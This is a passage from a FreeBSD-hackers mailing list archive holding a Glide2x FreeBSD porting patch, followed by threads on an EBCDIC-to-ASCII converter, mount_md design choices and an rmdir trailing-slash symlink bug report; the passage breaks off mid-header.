working on and off on these sorts of projects, as I am a full-time student at the Univ. of Cincinnati as well. Anyway, try the patches and tell me what you come up with. Rafael Barrero had the audacity to say: > Has anyone here had any luck compiling Glide2x (from the SourceForge project pages - http://www.sourceforge.net/project/?form_grp=369) under FreeBSD? Glide2x, not Glide3x. > > Essentially I'm looking to build a native glide2x.so for testing under FreeBSD, but I'm not having much luck with the (latest) CVS snapshot. It seems to me (I could be utterly wrong here) that the makefiles and organization of the distribution are mangled to some extent. The webpage does indicate FreeBSD, unfortunately I've had little luck building this thing. I noticed there are some existing FreeBSD ports available... but those only lead me to dead links. > > If I could get someone to fix this or help me out, that would be fantastic. > > Much appreciated, > > Rafael Barrero > Loki Software, Inc. > > "You know ... you take the killing for granted. And then it's gone, and you're like, 'I wish I'd appreciated it more.' Stopped and smelled the corpses, you know?" > -Spike (BtVS) > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > --3MwIy2ne0vdjdPXF Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="Glide-V2-2.53.diff" diff -ur Glide-orig/cvg/glide/oem/oeminit.c Glide/cvg/glide/oem/oeminit.c --- Glide-orig/cvg/glide/oem/oeminit.c Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/oem/oeminit.c Tue Dec 7 14:45:03 1999 @@ -20,8 +20,9 @@ */ #include #include +#include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif diff -ur Glide-orig/cvg/glide/src/fxgasm.c Glide/cvg/glide/src/fxgasm.c --- Glide-orig/cvg/glide/src/fxgasm.c Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/src/fxgasm.c Tue Dec 7 14:55:23 1999 @@ -37,7 +37,7 @@ * macros for creating assembler offset files *----------------------------------------------------------------------*/ -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #define NEWLINE printf("\n") #define COMMENT printf(";----------------------------------------------------------------------\n") diff -ur Glide-orig/cvg/glide/src/g3df.c Glide/cvg/glide/src/g3df.c --- Glide-orig/cvg/glide/src/g3df.c Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/src/g3df.c Tue Dec 7 14:55:37 1999 @@ -62,7 +62,7 @@ #include #include #include "fxglide.h" -#ifdef __linux__ +#if defined(__linux__) || defined(__FreeBSD__) #include #endif diff -ur Glide-orig/cvg/glide/src/gdraw.c Glide/cvg/glide/src/gdraw.c --- Glide-orig/cvg/glide/src/gdraw.c Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/src/gdraw.c Tue Dec 7 14:54:40 1999 @@ -680,7 +680,7 @@ } } #endif -#if defined( __linux__ ) +#if defined(__GNUC__) && defined(__i386__) #if !defined(BIG_OPT) asm( "popl %%ebp" : /* no outputs*/ : /* no inputs */ : "ebp"); #endif diff -ur Glide-orig/cvg/glide/src/glidesys.h Glide/cvg/glide/src/glidesys.h --- Glide-orig/cvg/glide/src/glidesys.h Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/src/glidesys.h Tue Dec 7 14:41:19 1999 @@ -88,7 +88,7 @@ #endif /* Check for OS */ -#if defined(__IRIX__) || defined(__sparc__) || defined(__linux__) +#if defined(__IRIX__) || defined(__sparc__) || defined(__linux__) || defined(__FreeBSD__) # define GLIDE_OS GLIDE_OS_UNIX #elif defined(__DOS__) # define GLIDE_OS GLIDE_OS_DOS32 diff -ur Glide-orig/cvg/glide/src/gpci.c Glide/cvg/glide/src/gpci.c --- Glide-orig/cvg/glide/src/gpci.c Mon Nov 29 19:37:43 1999 +++ Glide/cvg/glide/src/gpci.c Tue Dec 7 14:55:56 1999 @@ -603,7 +603,7 @@ const char* errStr = s; if (pciGetErrorCode() == PCI_ERR_NOERR) { -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) sprintf(s, "%s: glide2x.dll expected %s, none detected\n", FN_NAME, GLIDE_DRIVER_NAME); #else diff -ur Glide-orig/cvg/glide/tests/display.c Glide/cvg/glide/tests/display.c --- Glide-orig/cvg/glide/tests/display.c Mon Nov 29 19:38:10 1999 +++ Glide/cvg/glide/tests/display.c Tue Dec 7 14:46:40 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/h3dtst01.c Glide/cvg/glide/tests/h3dtst01.c --- Glide-orig/cvg/glide/tests/h3dtst01.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/h3dtst01.c Tue Dec 7 15:30:20 1999 @@ -16,14 +16,14 @@ ** */ -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/h3dtst02.c Glide/cvg/glide/tests/h3dtst02.c --- Glide-orig/cvg/glide/tests/h3dtst02.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/h3dtst02.c Tue Dec 7 15:30:23 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/plib.c Glide/cvg/glide/tests/plib.c --- Glide-orig/cvg/glide/tests/plib.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/plib.c Tue Dec 7 14:48:08 1999 @@ -22,7 +22,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/qatest00.c Glide/cvg/glide/tests/qatest00.c --- Glide-orig/cvg/glide/tests/qatest00.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/qatest00.c Tue Dec 7 15:31:43 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/qatest01.c Glide/cvg/glide/tests/qatest01.c --- Glide-orig/cvg/glide/tests/qatest01.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/qatest01.c Tue Dec 7 15:31:42 1999 @@ -22,7 +22,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test00.c Glide/cvg/glide/tests/test00.c --- Glide-orig/cvg/glide/tests/test00.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test00.c Tue Dec 7 15:31:42 1999 @@ -22,7 +22,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test01.c Glide/cvg/glide/tests/test01.c --- Glide-orig/cvg/glide/tests/test01.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test01.c Tue Dec 7 15:31:41 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test02.c Glide/cvg/glide/tests/test02.c --- Glide-orig/cvg/glide/tests/test02.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test02.c Tue Dec 7 15:31:41 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test03.c Glide/cvg/glide/tests/test03.c --- Glide-orig/cvg/glide/tests/test03.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test03.c Tue Dec 7 15:31:40 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test04.c Glide/cvg/glide/tests/test04.c --- Glide-orig/cvg/glide/tests/test04.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test04.c Tue Dec 7 15:31:40 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test05.c Glide/cvg/glide/tests/test05.c --- Glide-orig/cvg/glide/tests/test05.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test05.c Tue Dec 7 15:31:39 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test06.c Glide/cvg/glide/tests/test06.c --- Glide-orig/cvg/glide/tests/test06.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test06.c Tue Dec 7 15:31:39 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test07.c Glide/cvg/glide/tests/test07.c --- Glide-orig/cvg/glide/tests/test07.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test07.c Tue Dec 7 15:31:39 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test08.c Glide/cvg/glide/tests/test08.c --- Glide-orig/cvg/glide/tests/test08.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test08.c Tue Dec 7 15:31:38 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test09.c Glide/cvg/glide/tests/test09.c --- Glide-orig/cvg/glide/tests/test09.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test09.c Tue Dec 7 15:31:38 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test10.c Glide/cvg/glide/tests/test10.c --- Glide-orig/cvg/glide/tests/test10.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test10.c Tue Dec 7 15:31:38 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test11.c Glide/cvg/glide/tests/test11.c --- Glide-orig/cvg/glide/tests/test11.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test11.c Tue Dec 7 15:31:37 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test12.c Glide/cvg/glide/tests/test12.c --- Glide-orig/cvg/glide/tests/test12.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test12.c Tue Dec 7 15:31:37 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test13.c Glide/cvg/glide/tests/test13.c --- Glide-orig/cvg/glide/tests/test13.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test13.c Tue Dec 7 15:31:36 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test14.c Glide/cvg/glide/tests/test14.c --- Glide-orig/cvg/glide/tests/test14.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test14.c Tue Dec 7 15:31:36 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test15.c Glide/cvg/glide/tests/test15.c --- Glide-orig/cvg/glide/tests/test15.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test15.c Tue Dec 7 15:31:36 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test16.c Glide/cvg/glide/tests/test16.c --- Glide-orig/cvg/glide/tests/test16.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test16.c Tue Dec 7 15:31:35 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test17.c Glide/cvg/glide/tests/test17.c --- Glide-orig/cvg/glide/tests/test17.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test17.c Tue Dec 7 15:31:35 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test18.c Glide/cvg/glide/tests/test18.c --- Glide-orig/cvg/glide/tests/test18.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test18.c Tue Dec 7 15:31:35 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test19.c Glide/cvg/glide/tests/test19.c --- Glide-orig/cvg/glide/tests/test19.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test19.c Tue Dec 7 15:31:34 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test20.c Glide/cvg/glide/tests/test20.c --- Glide-orig/cvg/glide/tests/test20.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test20.c Tue Dec 7 15:31:34 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test21.c Glide/cvg/glide/tests/test21.c --- Glide-orig/cvg/glide/tests/test21.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test21.c Tue Dec 7 15:31:34 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test22.c Glide/cvg/glide/tests/test22.c --- Glide-orig/cvg/glide/tests/test22.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test22.c Tue Dec 7 15:31:33 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test23.c Glide/cvg/glide/tests/test23.c --- Glide-orig/cvg/glide/tests/test23.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test23.c Tue Dec 7 15:31:33 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test24.c Glide/cvg/glide/tests/test24.c --- Glide-orig/cvg/glide/tests/test24.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test24.c Tue Dec 7 15:31:32 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test25.c Glide/cvg/glide/tests/test25.c --- Glide-orig/cvg/glide/tests/test25.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test25.c Tue Dec 7 15:31:32 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test26.c Glide/cvg/glide/tests/test26.c --- Glide-orig/cvg/glide/tests/test26.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test26.c Tue Dec 7 15:31:32 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test27.c Glide/cvg/glide/tests/test27.c --- Glide-orig/cvg/glide/tests/test27.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test27.c Tue Dec 7 15:31:31 1999 @@ -22,7 +22,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test28.c Glide/cvg/glide/tests/test28.c --- Glide-orig/cvg/glide/tests/test28.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test28.c Tue Dec 7 15:31:31 1999 @@ -18,7 +18,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/test29.c Glide/cvg/glide/tests/test29.c --- Glide-orig/cvg/glide/tests/test29.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/test29.c Tue Dec 7 15:31:31 1999 @@ -19,7 +19,7 @@ #include #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #endif #include diff -ur Glide-orig/cvg/glide/tests/tlib.c Glide/cvg/glide/tests/tlib.c --- Glide-orig/cvg/glide/tests/tlib.c Mon Nov 29 19:38:11 1999 +++ Glide/cvg/glide/tests/tlib.c Tue Dec 7 14:56:53 1999 @@ -23,7 +23,7 @@ #include #include -#ifndef __linux__ +#if !defined(__linux__) && !defined(__FreeBSD__) #include #else #include @@ -427,7 +427,7 @@ return; }; -#ifdef __linux__ +#if defined(__linux__) || defined(__FreeBSD__) static void strupr(char *str) { while (*str) { if (islower(*str)) *str=toupper(*str); @@ -1396,7 +1396,7 @@ return FXTRUE; } -#ifdef __linux__ +#if defined(__linux__) || defined(__FreeBSD__) #include /*------------------------------------------------------------------- diff -ur Glide-orig/swlibs/fxmisc/fxos.c Glide/swlibs/fxmisc/fxos.c --- Glide-orig/swlibs/fxmisc/fxos.c Mon Nov 29 19:37:43 1999 +++ Glide/swlibs/fxmisc/fxos.c Tue Dec 7 14:40:31 1999 @@ -59,7 +59,7 @@ return (tb.time - once) + tb.millitm * .001; #else -#if defined ( WIN32 ) || ( __DOS__ ) +#if defined ( WIN32 ) || ( __DOS__ ) || defined(__FreeBSD__) # include # define times(a) clock() # define HZ CLOCKS_PER_SEC diff -ur Glide-orig/swlibs/include/make/3dfx.mak Glide/swlibs/include/make/3dfx.mak --- Glide-orig/swlibs/include/make/3dfx.mak Mon Nov 29 19:37:43 1999 +++ Glide/swlibs/include/make/3dfx.mak Tue Dec 7 14:38:31 1999 @@ -89,7 +89,24 @@ #CDEBUG = -pg -g -O #GCDEFS = endif - + +ifeq "$(OS)" "FreeBSD" +GCINCS = -I. -I$(BUILD_ROOT_SWLIBS)/include -I$(BUILD_ROOT_HW)/include +GCOPTS = -Wall +# +# BIG_OPT Indicates O3(?) or better is being used. It changes the +# assembly language in grDrawTriangle. Larger optimization removes +# an extra push in the calling sequence. +# +CNODEBUG = -O6 -m486 -fomit-frame-pointer -funroll-loops \ + -fexpensive-optimizations -ffast-math -DBIG_OPT + +CDEBUG = -g -O +# Profiling +#CDEBUG = -pg -g -O +#GCDEFS = +endif + # if we are not debugging then replace debug flags with nodebug flags # DEBUG = xx @@ -142,6 +159,11 @@ AR = /usr/bin/ar crsl ECHO = /bin/echo INSTALL = /usr/bin/install +endif +ifeq "$(OS)" "FreeBSD" +AR = /usr/bin/ar crsl +ECHO = /bin/echo +INSTALL = /usr/bin/install -c endif DATE = date diff -ur Glide-orig/swlibs/newpci/pcilib/fxlinux.c Glide/swlibs/newpci/pcilib/fxlinux.c --- Glide-orig/swlibs/newpci/pcilib/fxlinux.c Mon Nov 29 19:37:43 1999 +++ Glide/swlibs/newpci/pcilib/fxlinux.c Tue Dec 7 16:40:15 1999 @@ -33,11 +33,16 @@ * iopl() and asm/io.h has the declarations of inb, inw, inl and such. * glibc2: sys/io.h has the declaration of iopl() and includes * asm/io.h for us */ +#ifdef linux #if __GNU_LIBRARY__ <= 5 #include #else #include #endif +#endif +#ifdef __FreeBSD__ +#include +#endif #include #include "fxpci.h" @@ -94,6 +99,9 @@ static const FxU32 SST1_PCI_BUS_SNOOP1_LINUX = 0x48; static int linuxDevFd=-1; +#ifdef __FreeBSD__ +static int freebsdIoFd=-1; +#endif struct pioData { short port; @@ -195,10 +203,19 @@ { if (!getenv("SST_NO_DEV3DFX")) linuxDevFd=open("/dev/3dfx", O_RDWR, 0); if (linuxDevFd==-1) { +#ifdef linux if (iopl(3)<0) { pciErrorCode = PCI_ERR_NO_IO_PERM; return FXFALSE; } +#endif +#ifdef __FreeBSD__ + freebsdIoFd = open("/dev/io", O_RDWR, 0); + if (freebsdIoFd < 0) { + pciErrorCode = PCI_ERR_NO_IO_PERM; + return FXFALSE; + } +#endif } return FXTRUE; } @@ -208,9 +225,17 @@ { if (linuxDevFd>=0) { close(linuxDevFd); - } else { + } +#ifdef linux + else { iopl(0); } +#endif +#ifdef __FreeBSD__ + else if (freebsdIoFd>=0) { + close(freebsdIoFd); + } +#endif return FXTRUE; } @@ -317,7 +342,11 @@ /* fprintf(stderr, "write byte=%d desc at %x data at %x\n", data, &desc, &data); */ if (linuxDevFd==-1) { +#ifdef linux outb(data, port); +#else + outb(port, data); +#endif return FXTRUE; } desc.port=port; @@ -333,7 +362,11 @@ /* fprintf(stderr, "write word=%x to port=%x desc at %x data at %x\n", data, port, &desc, &data); */ if (linuxDevFd==-1) { +#ifdef linux outw(data, port); +#else + outw(port, data); +#endif return FXTRUE; } desc.port=port; @@ -347,9 +380,13 @@ { struct pioData desc; /* fprintf(stderr, "write long=%x to port=%x desc at %x data at %x\n", - data, port, &desc, &data); */ + data, port, &desc, &data); */ if (linuxDevFd==-1) { +#ifdef linux outl(data, port); +#else + outl(port, data); +#endif return FXTRUE; } desc.port=port; --3MwIy2ne0vdjdPXF-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Feb 2 23:53:25 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from jason.argos.org (a1-3b044.neo.rr.com [24.93.181.44]) by hub.freebsd.org (Postfix) with ESMTP id 53F3F37B401 for ; Fri, 2 Feb 2001 23:53:08 -0800 (PST) Received: from localhost (mike@localhost) by jason.argos.org (8.10.1/8.10.1) with ESMTP id f137gbs00793; Sat, 3 Feb 2001 02:42:37 -0500 Date: Sat, 3 Feb 2001 02:42:37 -0500 (EST) From: Mike Nowlin To: Garance A Drosihn Cc: jgrosch@mooseriver.com, hackers@FreeBSD.ORG Subject: Re: EBCDIC -> ASCII In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > At 1:33 PM -0800 1/29/01, Josef Grosch wrote: > >Does anybody know of an EBCDIC to ASCII converter? I thought > >that at one time FreeBSD had one of these. > > Note there are multiple ideas of what it means to be EBCDIC. > Alphanumerics stay the same between them, of course, but a > few of the special characters (braces, brackets, accent-grave) > move around. Unfortunately, I have to deal with an application written in EDX (go try and find info on THAT archaic language!) on an IBM RS/6000 that uses EBCDIC... After digging through the sources on that machine, I was able to come up with a somewhat decent translation table. It's not complete, but it handles the alphanum and punctuation characters. I just stuck it up at http://www.argos.org/~mike/ebc2asc.c (It's just a test program - you'll need to modify it a little bit to handle "normal" stuff, but that's fairly simple.) (Suggestions to improve the translation table are welcome.) mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 11:36:23 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id 1B0A237B4EC; Sat, 3 Feb 2001 11:36:06 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f13Ja4G11258; Sat, 3 Feb 2001 11:36:04 -0800 (PST) (envelope-from dillon) Date: Sat, 3 Feb 2001 11:36:04 -0800 (PST) From: Matt Dillon Message-Id: <200102031936.f13Ja4G11258@earth.backplane.com> To: Dima Dorfman Cc: mi@aldan.algebra.com, deischen@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: mount_md (was: mdconfig config file (was: cvs commit: src/sys/i386/conf GENERIC)) References: <20010203042241.0A02C3E02@bazooka.unixfreak.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Some thoughts: : : - If you want softupdates, you need to specify the -S flag. Should : softupdates be the default? That's a hard one. Considering that people who have mfs in their fstab probably expect as little disk I/O as possible, softupdate sshould probably be enabled by default. : - To suppress the output of disklabel/newfs/etc., it closes fds 0-2. Is : this evil? Should I devise another method of doing this (something : like opening /dev/null and dup2'ing that fd to 0-2)? Yes, that is evil. opening and dup2()ing /dev/null to 0, 1, and 2 is the prefered method. : - Should there be an option to make use of md's autounit feature? I : don't think it will be very hard to implement, but I don't know how : useful it would be. Yes, I think this should be the default. My -current box is down at the moment so I can't test it immediately, but I looked at your code and it looks great! I think this will make using MD disks in -current as easy s using MFS disks was. -Matt :I think that's it. Comments? Suggestions? : :Thanks in advance : : Dima Dorfman : dima@unixfreak.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 12:46:58 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id 43FF837B4EC for ; Sat, 3 Feb 2001 12:46:39 -0800 (PST) Received: (qmail 4444 invoked by uid 1001); 4 Feb 2001 06:46:32 +1000 X-Posted-By: GJB-Post 2.11 18-Jan-2001 X-Operating-System: FreeBSD 4.1-RELEASE i386 X-URL: http://www.gbch.net/gjb/ X-Image-URL: http://www.gbch.net/gjb/img/gjb-auug048.gif X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 X-PGP-Public-Key: http://www.gbch.net/gjb/gjb-pgpkey.asc Message-Id: Date: Sun, 04 Feb 2001 06:46:32 +1000 From: Greg Black To: hackers@freebsd.org Subject: Trailing slashes and rmdir - POLA broken Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Observe the following: $ uname -rs FreeBSD 4.1-RELEASE $ ls -l $ mkdir foo $ ln -s foo bar $ rmdir bar rmdir: bar: Not a directory So far, so good -- but look at this: $ rmdir bar/ $ ls -l total 0 lrwxrwx--- 1 gjb wheel 3 Feb 4 06:35 bar -> foo $ Oops, "rmdir bar/" ended up as "rmdir foo" and left the useless symlink bar in place. BSD/OS gives that silly "Is a directory" error message for the "rmdir bar/" case, but at least it does not actually do anything. I don't think FreeBSD should do what it does. Is there any good reason to preserve this behaviour? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 12:49:44 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 4A0BE37B4EC for ; Sat, 3 Feb 2001 12:49:26 -0800 (PST) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f13KUAR06325; Sun, 4 Feb 2001 09:30:10 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200102032030.f13KUAR06325@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: Greg Black Date: Sun, 4 Feb 2001 09:49:19 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: Trailing slashes and rmdir - POLA broken Reply-To: dan@langille.org Cc: hackers@freebsd.org In-reply-to: X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 4 Feb 2001, at 6:46, Greg Black wrote: > Observe the following: > > $ uname -rs > FreeBSD 4.1-RELEASE > $ ls -l > $ mkdir foo > $ ln -s foo bar > $ rmdir bar > rmdir: bar: Not a directory I'm quite sure that rm bar will work. Have you tried rmdir ./bar? -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sat Feb 3 12:58:43 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id CAEED37B6AF for ; Sat, 3 Feb 2001 12:58:09 -0800 (PST) Received: (qmail 4632 invoked by uid 1001); 4 Feb 2001 06:58:06 +1000 X-Posted-By: GJB-Post 2.11 18-Jan-2001 X-Operating-System: FreeBSD 4.1-RELEASE i386 X-URL: http://www.gbch.net/gjb/ X-Image-URL: 